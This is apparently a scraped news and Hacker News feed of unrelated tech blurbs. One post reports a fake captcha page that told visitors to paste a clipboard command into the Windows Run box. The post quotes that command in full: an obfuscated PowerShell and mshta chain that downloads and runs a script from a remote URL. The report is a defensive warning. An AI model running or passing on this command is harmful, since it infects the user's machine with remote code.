For years, we've heard rumors of a new home hub device from Apple, meant to take on smart home devices like the Google Nest Hub Mini and Amazon's Echo Show. Besides "HomePod with a screen," details have been sparse. But now, a new report from Bloomberg's Mark Gurman sheds some light on the alleged device, […]
Hello everyone, This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha. I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.
It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press Run
At first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.
I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""
I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and run a script from the URL.
How do i protect myself from these scams / hack attempts in the future ? i always tought of myself "prepared" but i was surprised.
Has this happened to you before ? How do you protect yourself ?
Comments URL: https://news.ycombinator.com/item?id=49084404
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Veo is launching accessibility-focused electric tricycles in Denver, with plans to put its e-trikes on the streets nationwide.
Since launching last year, the startup today has more than 8 million people using the open-source or hosted version of its models, and now generates annual recurring revenue of $21 million.
Leasing prices start at $17.99 per month for iPhone, $11.99 for Apple Watch, $24.99 for Mac, and $11.99 for iPad.
The US is making measles great again, so treatment options are needed for the most vulnerable.
Recursive’s $400 million outlay represents the bulk of the company’s fundraising to date.
for decades, i have been concerned that the internet was being built around non-fiction, so i built something to show how we could celebrate great fiction on the web.
i started with an amazing library from the public domain, and i also added tools to add your own stories
super interested to hear any feedback, and if you read anything good!
Comments URL: https://news.ycombinator.com/item?id=49083389
Points: 35
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Article URL: https://simpleflying.com/over-150000-flights-airlines-busiest-day-recorded-history/
Comments URL: https://news.ycombinator.com/item?id=49083364
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Article URL: https://github.com/ctrlb-hq/ctrlb-decompose
Comments URL: https://news.ycombinator.com/item?id=49083336
Points: 32
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